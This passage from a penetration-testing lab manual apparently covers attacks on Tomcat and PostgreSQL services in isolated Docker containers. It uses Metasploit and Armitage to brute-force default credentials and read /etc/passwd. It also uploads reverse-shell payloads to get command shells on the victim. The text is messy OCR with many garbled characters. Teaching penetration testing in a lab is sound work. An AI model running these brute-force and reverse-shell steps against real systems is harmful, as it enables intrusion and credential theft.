Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name

BLANK_PASSWORDS
BRUTEFORCE_SPEED

DB_ALL_CREDS

DB_ALL_PASS

DB_ALL_USERS
DB_SKIP EXISTING

Proxies

RHOSTS

RPORT

SSL

STOP_ON_SUCCESS

TARGETURI
THREADS
USERNAME
USERPASS_FILE

USER_AS_PASS
USER_FILE

VERBOSE
VHOST

msf6 auxiliary(

) =

Current Setting

false
none

Jusr/share/metasploit-framewo
rk/data/wordlists/tomcat_mgr_
default_pass.txt

8080

false

false
fmanager /html
1

Jusr/sharefmetasploit-framewo
rk/data/wordlists/tomcat_mgr_
default_userpass.txt

false
Jusr/share/metasploit-framewo
rk/data/wordlists/tomcat_mgr_
default_users.txt

true

options

root@attacker_1: /

Required Description

Try blank passwords for all users

yes How fast to bruteforce, from @ to 5

no Try each user/password couple stored in the current
database

no Add all passwords in the current database to the 1lis
t

no Add all users in the current database to the list

no Skip existing credentials stored in the current data
base (Accepted: none, user, user&realm)

no The HTTP password to specify for authentication

no File containing passwords, one per line

A proxy chain of format type:host:port[,type:host:po
rt]l...]

The target host(s), see https://github.com/rapid7/me
tasploit-framework/wiki/Using-Metasploit

The target port (TCP)

Negotiate SSL/TLS for outgoing connections

Sstop guessing when a credential works for a host

URI for Manager login. Default is /manager/html

The number of concurrent threads (max one per host)
The HTTP username to specify for authentication

File containing users and passwords separated by spa
ce, one pair per line

Try the username as the password for all users

File containing users, one per line

Whether to print output for all attempts
HTTP server virtual host

Fig 4.28: The “tomcat mgr login” Auxiliary Module

Metasploit's default files are already specified for USER_File and PASS_File. Now, set the

remote hosts option to the IP address of the victim container, set the remote port to 8180 as

Tomcat is running on that port. Set verbose to false and run the module.

msf6 auxiliary(
RHOST
nsf6 auxiliary(
RPORT => 8180
msf6 auxiliary(
verbose => false
msf6 auxiliary(

10.10.10.3:8180 - Login Successful: tomcat:tomcat

root@attacker_1: /

10.16.10.3

)
) =

Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary(

) =

root@attacker_1: /

root@attacker_1: /
set RHOSTS 10.10.10.3
set RPORT 8180

set verbose false

run

Fig 4.29: Test “tomcat mgr login” Exploit Module

The module attempts to log in using various combinations of default usernames and passwords

and one login was successful with the username and password both being tomcat.
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Since the valid credentials are found, use the “tomcat_mgr_upload” module to exploit the
vulnerability in Tomcat's Manager application. Load the module and see the current settings of

the module by doing the following

root@attacker_1: /

root@attacker_1: / root@attacker_1: /

msf6 > use exploit/multi/http/tomcat_mgr_upload
No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit( ) > options

Module options (exploit/multi/http/tomcat mgr_upload):
Name Current Setting Required Description

HttpPassword The password for the specified username

HttpUsername The username to authenticate as

Proxies A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS The target host(s), see https://github.com/rapid7/metasploit-fr
amework /wiki/Using-Metasploit

RPORT The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connections

TARGETURI /manager The URI path of the manager app (/html/upload and fundeploy wil
1 be used)

VHOST HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 10.10.10.2 The listen address (an interface may be specified)
LPORT 4444 The listen port

Exploit target:
Id Name

e Java Universal

nsf6 exploit(

Fig 4.30: The “tomcat_mgr_upload” Exploit Module

By default, the remote port, local host, local port, payload, and exploit target are all set. But,
instead of using the default payload, the “java/shell/reverse tcp” payload will be used and the

local host must be set again after setting the payload.

Follow the steps below to set the remote host, remote port used by Apache Tomcat, username,

password, payload, and local host. After setting all the options run the module.

If a shell session opened run some system commands to verify if the victim container is

compromised.
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root@attacker_1: /

exploit(
5 > 10.160.16.3

msf6 exploit(
RPORT => 8180
msf6 exploit(
HttpUsername == tomcat
msf6 exploit(
HttpPassword => tomcat
msfé exploit(
payload == java/shell/reverse_tcp
msf6 exploit(

root@attacker_1: /

root@attacker_1: /

RHO 10.10.10.3

RPORT 8180

HttpUsername tomcat
HttpPassword tomcat

payload java/shell/reverse_tcp

LHOST 16.16.10.2

LHOST => 10.10.10.2
msfé exploit(

Started reverse TCP handler on 10.10.10.2:4444
Retrieving session ID and F token...
Uploading and deploying leiiikj7yolsOcc4RpFkJaEauadEhH.. .

Executing 1le j7yol1s0Occ4RpFkJaEaUadEhH. . .

Undeploying leiiikj7yolsOcc4RpFkJaEaUadEhH ...

Undeployed at /manager/html/undeploy

Sending stage (2952 bytes) to 10.10.10.3

Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:44091 ) at 2021-12-04 18:51:32 +0000

hostname
victim_1

whoami
tomcat5s

uname -a
Linux victim_1 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 16 10:20:10 UTC 2021 x86_64 GNU/Linux

head -5 /etc/passwd
root 0:0:root:/root: /bin/bash
daemon:x daemon: fusr/sbin: /bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:/dev: /binfsh
x:4:65534:sync: /bin:/bin/sync

Fig 4.31: Test “tomcat_mgr upload” Exploit Module
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Chapter 5
Lab 03 - Exploiting PostgreSQL Databases by Armitage

5.1 Overview

This lab exercise explores the use of the Armitage tool by exploiting the vulnerable
PostgreSQL database of Metasploitable2.

5.2 Background Information
Armitage is a free and open-source graphical network security tool for the Metasploit
Framework that allows security professionals to visualize targets, conduct scans, and exploits,

get exploit recommendations, and better comprehend the power and potential of Metasploit.

PostgreSQL is a free and open-source relational database management system (RDBMS) that
supports both SQL (relational) and JSON (non-relational) querying. Many web applications,
as well as mobile and analytics apps, rely on PostgreSQL as their core database. PostgreSQL
was created to run on UNIX-like platforms. After that, PostgreSQL was later developed to

work on a variety of systems, including Windows, macQOS, and Solaris.

5.3 Performing the Lab

Step 1: Prepare the Environment of the Experiment
First, start and attach the victim container by opening a GNOME Terminal on the Ubuntu

machine and running the following commands

docker start victim_1

docker attach victim_1

[+

:~§ docker start victim 1
victim_1
:~$ docker attach victim_1

root@victim_1:/#

Fig 5.1: Start and Attach the Victim Container
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In the victim container, all services are disabled by default. Run the following command in the

terminal of the victim container to start the required services.

services.sh

[+l @victim_1: f

root@victim _1:/# services.sh
* Starting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 10.10.10.3 for ServerName
(0] ¢
* Starting deferred execution scheduler atd 0K
* Starting periodic command scheduler crond 0K
Starting distccd
* Starting MySQL database server mysqld 0K
* Checking for corrupt, not clcanly closed and upgrade needing tables.
Configuring network interfaces.
Starting portmap daemon...
Starting Postfix Mail Transport Agent postfix
Starting PostgreSQL 8.3 database server
Starting ftp server proftpd
* Starting Samba daemons
Starting network management services: snmpd.
snmpd[715]: error finding row index in _1fXTable_contailner_row_restore

*¥ Starting OpenBSD Secure Shell server sshd
* Starting system log daemon...
* Starting Tomcat servlet engine tomcat5.5
* Starting internet superserver xinetd
* Doing Wacom setup...
* Running local boot scripts (/etc/rc.local)
nohup: appending output to “nohup.out’
nohup: appending output to "nohup.out’

root@victim 1:/# I

Fig 5.2: Start Necessary Services of the Victim Container

Open another GNOME Terminal in the ubuntu machine and run the following commands to
start and attach the attacker container

docker start attacker 1

docker attach attacker_1

1 csl@csL: ~

:~$ docker start attacker_1
attacker_1

& :~$§ docker attach attacker_ 1

Fig 5.3: Start and Attach the Attacker Container
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Step 2: Get the Network Information of the Attacker Container
Run the “ifconfig” command from the terminal of the attacker container to obtain the IP address

of the attacker container.

root@attacker_1: [

[:—L_ q#_ -[/]
ifconfig

ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 15808
inet 10.10.10.2 netmask 255.255.255.248 broadcast 10.10.10.7
ether 02:42:0a:0a:0a:02 txqueuelen @ (Ethernet)
RX packets 44 bytes 6014 (5.8 KiB)
RX errors @ dropped @ overruns @ frame ©
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped ® overruns @ carrier @ collisions @

Fig 5.4: IP Address of the Attacker Container

To determine the gateway of the attacker container, run the “route -n” command.
root@attacker_1: /

i .- -[/1
’—_ rout

e -n

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.10.10.1 0.0.0.0 uG e 0] 0 ethe
10.10.10.0 0.0.0.0 255.255.255.248 U e 0] 0 ethe

Fig 5.5: Gateway of the Attacker Container

The IP address of the attacker container is 10.10.10.2, which belongs to the 10.10.10.0/29
network, and its gateway is 10.10.10.1.
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Step 3: Start Armitage
Armitage uses PostgreSQL as its database. By default, the PostgreSQL service is stopped in
the attacker container. Run the following command to start the PostgreSQL service.

service postgresql start

root@attacker_1: /

(oo @ )-[/]
[:_ service postgresql start
Starting PostgreSQL 14 database server: main.

(oot @ )-1/1

Fig 5.6: Start PostgreSQL Service

Now create and initialize the “msf” database by running the following command.

msfdb init

root@attacker_1: /

{ )-[11]
[:_ msfdb init
System has not been booted with systemd as init system (PID 1). Can't operate.
Failed to connect to bus: Host is down

Starting database
System has not been booted with systemd as init system (PID 1). Can't operate.
Failed to connect to bus: Host is down

Creating database user 'msf'

Creating databases 'msf’'

( )

This is a minimal installation of Kali Linux, you Llikely
want to install supplementary tools. Learn how:
= https://www.kali.org/docs/troubleshooting/common-minimum-setup/

(Run: “touch ~/.hushlogin” to hide tht )
Creating databases 'msf_test'

( )

This is a minimal installation of Kali Linux, you likely
want to install supplementary tools. Learn how:
= https://www.kali.org/docs/troubleshooting/common-minimum-setup/

(Run: “t )
Creating configuration file '/usr/share/metasploit-framework/config/database.yml’
Creating initial database schema

E:I ® )-111

Fig 5.7: Create and Initialize the msf Database
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To clear the terminal of the attacker container run the “clear” command. Type “armitage” and

hit “Enter” to open Armitage.

root@attacker_1: /

armitage

Fig 5.8: Start Armitage

First, a window will pop up to establish a connection between Armitage and the “msf” database,
click on the “Connect” button. Another window will pop up, click on the “Yes” button so that
Armitage can interact with Metasploit. Now a connection progress window will pop up. After

completing the connection process, Armitage is finally ready to use.

Armitage (on attacker)

Armitage View Hosts Attacks Workspaces Help

> ﬁ auxiliary
> Iﬁ‘ exploit
* [ payload
» [ post

a

Console X

Fig 5.9: Armitage
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Step 4: Host Discovery

For host discovery, let's perform the Nmap Ping Scan from Armitage by choosing the following

Hosts > Nmap Scan > Ping Scan

Armitage (on attacker_1)

Armitage Wiew JabEEN Attacks Workspaces Help

> [ auxiliary Impaort Hosts

» [ exploit Add Hosts..,
* [ payload Nmap Scan Intense Scan
» [ post MSF Scans...

Intense Scan + UDP
Intense Scan, all TCP ports

LMS Enumerate

Clear Database

ic
Quick Scan (05 detect)
Comprehensive

Fig 5.10: Perform Nmap Ping Scan

A window will pop up for input, type the network address “10.10.10.0/29” and click on the
“OK” button to start the scan.

Input (on attacker_1) X
— Enter scan range {e.q., 192.168.1.0/24}:
10,10.10.0/28

[ Cancel J l (] J

Fig 5.11: Nmap Ping Scan Input

A Nmap console will open in the Console Panel of Armitage. After completing the Ping Scan,

a window will pop up saying “Scan Complete!”. Click on the “OK” button to close the window.
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Armitage (on attacker)

Armitage View Hosts Attacks Workspaces Help

* (i auxiliary
> ﬁ exploit
» (& payload
L4 ﬁ post

10.10.10.1 10.10.10.2

a >

Console X | nmap )(]

msf6 > db_nmap --min-hostgroup 96 -T4 -n -sn 10.10.10.0/29
*] Mmap: Starting Mmap 7.91 ( https://nmap.org ) at 2021-08-28 07:23 UTC

[

[*] Nmap: Mmap scan report for 10.10.10.1

[*] Nmap: Host is up (0.000074s latency).

[*] Nmap: MAC Address: 02:42:C3:D9:0D:D3 (Unknown)

[*] Nmap: MNmap scan repert for 10,10.10.3

[*] nmap: Host is up (0.000022s latency).

[*] Nmap: MAC Address: 02:42:0A:0A:0A:03 (Unknown)

[*] Nmap: Mmap scan report for 10.10.10.2

[*] Nmap: Host is up.

[*] Nmap: Mmap done: 8 IP addresses (3 hosts up) scanned in 1.36 seconds

msf6 =

Fig 5.12: Available Hosts in the Network

As seen in the Host Panel of Armitage, the following three hosts are up on the "10.10.10.0/29"

network.

e 10.10.10.1 is the gateway of the 10.10.10.0/29 network.
e 10.10.10.2 is the attacker container.

e 10.10.10.3 is the victim container.
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Step 5: Service and Operating System Detection
Click on the target host “10.10.10.3” and select the following options to perform Nmap Quick
Scan (OS detect)

Hosts > Nmap Scan > Quick Scan (OS detect)

Armitage (on attacker_1)

Armitage Wiew NElEEN Attacks Workspaces Help

> auxiliary Impaort Hosts
» [ exploit add Hosts...
> [ payload Mmap Scan
» [ post MSF Scans...
DMS Enumerate

Intense Scan
Intense Scan + UDP
Intense Scan, all TCP ports
Intense Scan, no ping — .
Fing scan B TP TP 1 T
Quick Scan

Quick Scan (05 detect)

Clear Database

Fig 5.13: Perform Nmap Quick Scan (OS detect)

A window will pop up with the IP address of the target host. Click on the “OK” button to start

Input (on attacker_1) X
@ Enter scan range (e.g., 182.168,1.0/24):

Fig 5.14: Nmap Quick Scan (OS detect) Input

the scan.

Another Nmap console will open in the Console Panel. After completing the scan, a window

will pop up saying “Scan Complete!”. Click on the “OK” button to close the window.

The target host's display will change, indicating that it is a Linux machine. Bringing the cursor

to the top of the target host will also reveal that the operating system is Linux 4.X.

Now right click on the target host and then click "Services" from the menu that appears. In the
Console Panel, a "Services" tab will appear, displaying the target host's open ports and service-

related information.
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Armitage (on attacker_1)
Armitage Wiew Hosts Attacks Workspaces Help
» (5 ausliary
» (&5 exploit
* ([ payload
Lo ﬁ post

10.10.10.1

[ Console X ]' nrmap X ]' nrmap X T Services X ]
host | name | port 4| proto | info
10.10.10.3 ftp 21 tcp vsftpd 2.3.4
10.10.10.3 ssh 22 tep OpenSSH 4.7pl Debian Bubuntu3 protocol 2.0
10.10.10.3 telnet 23 tep Linux telnetd
10.10.10.3 smtp 25 tep Postfix smtpd
10,10.10.3 http 80 tep Apache httpd 2.2.8 (Ubuntu) Daxi2
10,10.10.3 rpebind 111 tep
10,10.10.3 netbios-ssn 138 tcp Samba smbd 3.¥ - 4. workgroup: WORKGROUP
10.10,10.3 netbios-ssn 445 tcp Samba smbd 3.% - 4. X workgroup: WORKGROUP
10.10.10.3 login 513 tep
10.10.10.3 tepwrapped 514 tep
10.10.10.3 ftp 2121 tep ProFTFD 1.3.1
10.10.10.3 mysg| 3306 tep MySOL 5.0.95-0ubuntu3
10.10,10.3 stgres : PostgreSOL DE 0
10,10.10.3 ajpla 3009 tep Apache Jsery Protocol w1,
Refresh Copy

Fig 5.15: Open ports and Service-related Information of the Target Host

Step 6: Bypass PostgreSQL Database Login
From Step 5, the target host is running PostgreSQL DB 8.3.20 — 8.3.23 on the default
PostgreSQL port 5432. To bypass the PostgreSQL database login, perform a brute force attack
using “user list.txt” and a “password list.txt” files that were already created in the
"/home/Files/" directory. This brute-force attack involves submitting a list of username and

password combinations to guess the correct combination to access the PostgreSQL database.

First, go to the terminal of the attacker container. Since Armitage is already running on the
terminal, another terminal is required to check the contents of the "user_list.txt" and
"password_list.txt" files. Click on the “+” button, then type the following command and hit

“Enter” to launch another new interactive shell of the attacker container.

docker exec -it attacker 1 /bin/bash
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Now run the following commands to see the contents of the “user list.txt” and

“password_list.txt” files.

cat /home/Files/user _list.txt

cat /home/Files/password_list.txt

root@attacker_1: / Q

root@attacker_1: / root@attacker_1: /
:~$ docker exec -it attacker_1 /bin/bash

(root@ )-14]

[:_ cat /home/Files/user list.txt
root

admin

guest

user

test

msfadmin

postgres

: )-[/]
[:7 cat /home/Files/password_list.txt
rootpass
adminpass
guestpass
userpass
testpass
msfadmin
postgres

o ®

Fig 5.16: Content of the “user_list.txt” and “password _list.txt” Files

Now let’s perform the brute force attack. Go to the Armitage window and in the search box of

the Module Panel, search for the “postgres login auxiliary module.

Auxiliary modules are essentially used to perform scanning, fuzzing, sniffing, and much more.

Armitage (on attacker_1)

Armitage Wiew Hosts Attacks Workspaces Help

v (= auxiliary
v E scanner
M= postgres
|| postgres_login

postgres_login

Fig 5.17: Search the “postgres login” Module

Double click on the “postgres login” module. A window will pop up for the input of the

necessary options.
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A database name is required to perform a brute-force attack on a PostgreSQL database login.
Templatel is the default database in PostgreSQL, and it is the template database from which
all other databases are created. As a result, any PostgreSQL database can (probably) find the
templatel database. There is also a templateO database, which has no local settings and is even
more basic than templatel, therefore any PostgreSQL service should have at least these two

databases.

Change the options of the “postgres login” module as shown below. Since the target host is
selected, the IP address is already inputted in the value filed of the RHOST option.

scannerfpostgres/postgres_login (on attacker_ 1) - 0O (X
FostgreSOL Login Utility

Thizs module attempts to authenticate against a PostgreSoL instance using L
username and password combinations indicated by the USER_FILE, PASS_FILE,
and USERPASS_FILE options. Mote that passwords may be either plaintext or

MOS formatted hashes. ¥
Option 4| value |
BLAME_PASSWORDS 1
BRUTEFORCE_SPEED 3
DATABASE templatel
DE_ALL_CREDS false
DBE_ALL PASS 0
DE_ALL_USERS 0
PASS FILE = froot/Files/password _list.tut
PASSWORD 4
Proxies
RETURM_ROWSET 1
RHOSTS + 10.10.10.3
RPORT 5432
STOP _OM SUCCESS 0
THREADS 24
USER_AS PASS 0
USER_FILE + froot/Filesiuser_list.txt
USERMAME
USERFASS_FILE #
WERBOSE 0
| | Show advanced options
Launch

Fig 5.18: Options of the “postgres_login” Module
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Now click on the “Launch” button to run the module.

Armitage (on attacker_1)

Armitage Wiew Hosts Attacks Workspaces Help

v E auxiliary
v E scanner

v & postgres

e
_—
=

10.10.10.2 10.10.10.3

postgres_login

a

[ Console }{I nmap ¥ T nmap ¥ T Services X I scanner/postgres/postgres_login X ]
10 dURLLLATY USCAINIET FPUs LYTes /pus Lyrey_ LeygLil) = SeL USCRE_AS FAS3 1dLye

USER_AS PASS == false

msf6 auxiliary(scanner/postgres/postgres_legin) » set PASS _FILE /froot/Files/password_list.txt
PASS FILE => froot/Files/password List.txt

msf6 auxiliary(scannerfpostgres/postgres_login) = set BLANK_PASSWORDS true

BLANK_PASSWORDS == true

msf6 auxiliary(scanner/fpostgres/fpostgres_login) = set RETURN _ROWSET true

RETURN_ROWSET == true

msf6 auxiliary (scanner/postgres/postgres_Llogin) = set DB _ALL PASS false

DB_ALL_PASS == false

msf6 auxiliary{scanner/postgres/postgres_legin) » set RPORT 5432

RPORT == 5432

msf6 auxiliary(scanner/fpostgres/fpostgres_login) » set VERBOSE false

VEREOQSE => false

msf6 auxiliary(scanner/postgres/postgres login) = run -j

[*] Auxiliary module running as background job 2.

[+] 10.10,10.3:5432 - Login ssful: postgres:postgres@templatel

[*] Scanned 1 of 1 hosts (100% complete)

msT6 auxiliary(scanner/postgres/postgres_login) =

Fig 5.19: Output of the “postgres login” Module

Login credentials of the PostgreSQL database are successfully found. The username is

“postgres” and the password is also “postgres”.

Step 7: Get the Version of the PostgreSQL Databases Using Armitage

In the search box of the Module Panel, search for the “postgres version” auxiliary module.

Armitage (on attacker_1)

Armitage \iew Hosts Attacks Workspaces Help

v E auxiliary
v E scanner
- postgres
| postgres_version

10.10.10.1

postgres_ver

Fig 5.20: Search the “postgres version” Module
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Double click on the “postgres version” module to input the necessary options.

scanner/postgres/postgres_version (on attack... — O (X

FostgreSQL Wersion Probe

Enurmerates the version of PostgreSQL servers,

Option & | Walue
DATABASE templatel
PASSWORD postgres
FHCOSTS + 10,10.10.3
FPORT 5432
THREADS 24
USERMAME 4 postgres
YERBOSE ]

[ | Show advanced options

| Launch |

Fig 5.21: Options of the “postgres_version” Module

The default options are ok for this experiment. Click on the “Launch” button to run the module.

Armitage (on attacker_1)
Armitage \Wiew Hosts Attacks Workspaces Help

v E auxliary
v E scanner
v f—__.‘ postgres

=

10.10.10.1 10.10.10.2

postgres_version

a v

Conscle X T nmap X I nmap X I Services X
scannerfpostgresfpostgres Iogln X T scanner/postgres/postgres version X L

Il L ALAIL Lol L L

DﬁTﬂEnSE == templatel

msf6 auxiliary(scanner/postgres/postgres_version) set PASSWORD postgres
PASSWORD == postgres

msT6 auxiliary(scanner/postgres/postgres version) > set THREADS 24
THREADS == 24

msf6 auxiliary(scanner/postgres/postgres_version) = set USERNAME postgres
USEFHAME =» postgres

msT6 auxiliary(scanner/postgres/postgres version) = set RPORT 5432

RPORT == 5432

msf6 auxiliary(scanner/postgres/postgres_version) = set VERBOSE false

VERBOSE == false

msf6 auxiliary(scanner/postgres/postgres_version) = run -j

[*] Auxiliary moedule running as background job 3.

[*] 10.10.10.3:5432 Postgres - Yersion PostgreSQL 8.3.23 on i486-pc-linux-gnu, compiled by GCC
cc (GCC) 4.2.4 (Ubuntu 4.2.4-1lubuntu3) (Post-Auth)

[*] Scanned 1 of 1 hosts (100% complete)

msf6 auxiliary(scanner/postgres/postgres_version) =

Fig 5.22: Output of the “postgres version” Module
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A “scanner/postgres/postgres version” tab will open in the Console Panel showing the version

of the PostgreSQL is 8.3.23 which is more specific than the Nmap scan.

Step 8: Run SQL Queries
SQL queries can be run without logging into the PostgreSQL database directly using
"postgres_sql" auxiliary module. In the search box of the Module Panel, search for the

“postgres_sql” module.

Armitage (on attacker_1)

Armitage Wiew Hosts Attacks workspaces Help

v E auxiliary
v f‘-‘ admin
-] postgres
| | postgres_sql

postgres_sql

aw

Fig 5.23: Search the “postgres _sql” Module

Double click on the “postgres sql” module to input the necessary options. Input the SQL
command "select dathame from pg_database;" in the value field of the SQL option to get the
names of databases,

admin/postgres/postgres_sql (on attacker_ 1) - O (X

FostgreSOL Server Generic Query

This module will allow for simple SOL statements to be executed against a
PostgreSQL instance given the appropriate credentials.

- v

Option & | alue |
DATABASE templatel

PASSWORD postgres

RETURM_ROWSET 1

RHOSTS + 10.16.10.3

RPORT 2432

SaL select datname from pg_database;
USERMAME postgres

VERBOSE 0

| | Show advanced options

Launch

Fig 5.24: Options of the “postgres_sql” Module
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Now click on the “Launch” button to run the module.

Armitage (on attacker_1)

Armitage “iew Hosts Attacks Workspaces Help

v E auxliary
v E admin
v E postgres

10.10.10.1 10.10.10,2
postgres_sgl

Conscle X T nmap X T nmap X I Services X I scanner/postgres/postgres_login X
scanner/postgres/postgres_version X admin/postgres/postgres_sgl X

msT6 auxiliary(admin/postgres/postgres_sql) = set WERBOSE false

YERBOSE == false

msT6 auxiliary(admin/postgres/fpostgres_sql) = set SQL select datname from pg_database:
datname from pg_database:

msT6 auxiliary(admin/fpostgres/postgres_sql) = run -j

[*] Running medule against 10.10,10.3

Query Text: 'select datname from pg_database:'

datname
postgres

templated
templatel

[*] Auxiliary module execution completed
msT6 auxiliary(admin/postgres/postgres_sql) =

Fig 5.25: Output of the “postgres_sql” Module

The SQL command gets the names of databases from pg_database. There are three PostgreSQL

databases postgres, template0, and templatel.
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Step 9: Read System Files
When provided valid PostgreSQL database credentials, the “postgres readfile” auxiliary

module will read and display system files. In the search box of the Module Panel, search for

the “postgres readfile” auxiliary module.

Armitage (on attacker_1)
Armitage Wiew Hosts Attacks Workspaces Help
¥ (& awdliary
¥ (& admin
¥ [ postgres .

| | postgres_readfile

10.10.10.1

postgres_readfile

a

Fig 5.26: Search the “postgres_readfile” Module

Double click on the “postgres_readfile” module to input the necessary options.

admin/postgres/postgres_readfile (on attacker_1) - O

X

PostgreSOQL Server Generic Query
This module imports a file local on the PostgreSQL Server into a temporary
table, reads it, and then drops the temporary table. It requires PostgreSQL
credentials with table CREATE privileges as well as read privileges to the target
file,
Cption 4| Value |
DATABASE templatel
PASSWORD postgres
RFILE = fetc/passwd
RHOSTS 10.10.10.3
RFORT 2432
USERMNAME < postgres
WERBOSE 0
[ | Show advanced options
Launch

Fig 5.27: Option of the “postgres readfile” module

The default remote file to read is set to “/etc/passwd”. The default options are ok for this

experiment. Now Click on the “Launch” button to run the module.
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Console X T nmap X T nmap X T Services X T scanner/postgres/postgres_login X ]
scanner/postgres/postgres_version X I admin/postgres/postgres_sgl X T admin/postgres/postgres_readfile X |_

root:x:0:0: root: froot: /binsbash
1:daemon: fusr/sbin: /bin/ssh
in: /bin: /bin/sh
¥s: fdev: /bin/sh
34:sync: fbin: /bin/sync
i0: games: fusr/games: fbin/sh
man: fvarfcache/man: /bin/sh
lp /var spunl/lpd /hln/sh

-prnxy /h1n /h1n/5h
33:wne-data: fvar A
34:backup: fvar/backup
ailing List Manager:/fvar/list:/bin/sh
d: fvar/runfircd: /bin/fsh
:Gnats Bug-Reporting System (admin}:/var/lib/gnats: /bin/sh
34 stent: /bin/sh
1100:101: : fyar/Lib/Lbuuid: /bin/sh
dhcp:ix:101: 102 nonexistent: /hinffalse
syslog:x:102:103: : fhome /syslog: /bin/false
klog:x:103: 104 home f/klog: /bin/false
sshd:x:104: 655 ./uar/run/sshd Jusr/shin/nologin
' Jhome /fmsfadmin: /bin/bash
varfcachefbind: /bin/false
15:: fvar/spoolfpostfix: fbin/false
Jhome fftp: /bin/false
117:PostgreSQL administrator..,:/var/Llib/postgresql: /bin/bash
8 -/var/llh/mysql /bin/false
eftomcats.5: fbinffalse

Jfhome fuser: /bin/bash
] e: fbin/bash
1120: : /fmonexistent: /bin/ffalse
65534::/uar/run/pruftpd:/hin/false
i bin/false
51 65F s fvarfLib/snmp: /bin/false
[+] 10 10, 10,3:5432 Postgres - fetcfpasswd saved in
froot/.msT4/1loot/20210024100813 default_10.10.10.3 postgres.file_ 484600, txt
[*] Auxiliary module execution completed

msf6 auxiliary (admin/postgres/postgres_readfile) =

Fig 5.28: Output of the “postgres readfile” module

Step 10: Deliver a Payload
To deliver a payload on the target host, use the exploit module “postgres payload”. In the

search box of the Module Panel, search for the “postgres payload” module.

An exploit module takes advantage of a vulnerability to provide access to the target system.

Armitage (on attacker_1)

Armitage “iew Hosts Attacks Workspaces Help

'Eiexmon
TElime ||
Y (& postgres :
| | postgres_payload
¥ (& windows
v E postgres
=

| | postgres_pavload - =" i _ .
3 1 T 10.10.10,2 I 3T

postgres_payload

- v

Fig 5.29: Search for the “postgres payload” Module
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Since the target host is a Linux machine, select the Linux “postgres  payload” module. Now,

double click on the “postgres payload” module to input the necessary options.

Attack 10.10.10.3 (on attacker_1) - o X

PostgraSQL for Linux Payload Execution

On some default Linux installations of PostgreSQL, the postgres service account may write
to the /trp directory, and may source UDF Shared Libraries from there as well, allowing
execution of arbitrary code. This module compiles a Linux shared object file, uploads it to
the target host via the UPDATE pg_largeobject method of binary injection, and creates a
UDF {user defined function} from that shared object. Because the payload is run as the
shared object's constructor, it does not need to conform to specific Postgres AP versions.

-

Option A | Walue
DATABASE templatel
LHOST 10,10.10.2
LFORT 19479
FPASSWORD 4 postgres
RHOSTS + 10.182.10.3
RFORT 5432
USERMNAME <+ postgres
“YERBOSE o]

Targets: |0 == Linuxx56 v

] Use a reverse connection

L Show advanced options

| Launch |

Fig 5.30: Options of the “postgres_payload” Module

The default options are ok for this experiment. The use of a reverse connection is also selected

by default. Now Click on the “Launch” button to run the module.

Armitage (on attacker_1)

Armitage Wiew Hosts Attacks Workspaces Help

v & exploit
v (& linuwx
v (& postgres

¥ (& windows
Y (& postgres
| | postgres_payload

10.10.10.3

postgres_payload

[Console X T nmap X T nmap X T Services XT scanner/postgres/postgres_login X T scanner/postgres/postgres_version X ]
[ admin/postgres/postgres_sqgl X T admin/postgres/postgres_readfile X T exploit X L
T T TR T e T oo R P o T O T T T P o oG T T o o= T T
PAYLOAD == generic/shell_reverse_tcp
msfa exploit(linux /postgres/postgres payload) = set RPORT 5432
RPORT == 5432
msf6 exploit{Linux/postgres/postgres_payload) = set WERBOSE false
VERBOSE == false
msT6 exploit(Llinux/postgres/postgres_payload) = exploit -j
[*] Exploit running as background job 4.
Exploit completed., but no session was created.
Started reverse TCP handler on 10.10. 28165
10.10.10,3:5432 - PostgreSQL §.3.23 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.4 {(Ubuntu
. 4-1ubuntu3)
Uploaded as ftmp/xtzVpXIl.so, should be cleaned up automatically
Command shell session 1 opened (10.10.10 165 -= 10.10.10,3:35066) at 2021-00-25 1

Wy LTOOy T T T

msT6 exploit(Llinux/post s/postg ayload) =

Fig 5.31: Output of the “postgres_payload” module
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After successfully running the module, the target host will change color, and the victim has

been compromised.

Right-click on the target host. The menu now has a "Shell 1" option. Choose “Shell 1” and

click on “Interact”. A “Shell 1 tab will open in the Console Panel.

Armitage (on attacker_1)

Armitage Wiew Hosts Attacks workspaces Help

¥ (&5 exploit
YEE linu ||
¥ (& postgres g

¥ (& windows
¥ & postgres
| | postgres_payload
10.10.10.1 10.10.10,2 B Scrvices
Scan

Fass Session
Post Modules

Host

Disconnect

postgres_pavyload
[Console X T nmap X T nmap X T Services )(T scanner/postgres/postgres_login X T scanner/postgres/postgres_version X ]

admin/postgres/postgres_sqgl X T admin/postgres/postgres_readfile X T exploit X T Shell1l X L
'

Fig 5.32: Shell Access of the Target Host

Now let’s run some system commands from the obtained shall.

mitage (on attacker_1)

Armitage wiew Hosts Attacks Workspaces Help

¥ (& exploit
v (& linux
¥ (& postgres

v (& windows

¥ [& postgres
| | postgres_payload

postgres_payload

[Console X T nmap X T nmap X T Services XT scanner/postgres/postgres_login X T scanner/postgres/postgres_version X ]
admin/postgresspostgres_sql X T admin/postgres/postgres_readfile X T exploit X T Shell1 X L

% hostname

victim_1

E

$ uname -a

Linux wictim_1 5.11.0-36-generic #40~20,04,1-Ubuntu SHP Sat Sep 18 02:14:19 UTC 2021 x86_64 GHU/Linux

$
% who
root pts/s1 Sep 14 07:41 (:0.0)

+
$ head -10 fetc/passwd
oot: froot: /binsbash
daemon: fusrgshin: fsbingssh

1_ fvarfspool/lpd: fbin/sh
ail: fvar/mail: /bingsh
ews: fyar/spool/news: fbingssh

Fig 5.33: Run System Commands
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Chapter 6
Lab 04 - Brute Forcing Web Authentication Using Burp Suite

6.1 Overview
This lab exercise explores the use of the Burp Suite tool by brute-forcing web authentication

of Mutillidae web application running on Metasploitable2.

6.2 Background Information

Burp Suite is a web application security testing and analysis tool. A proxy server, a spider, an
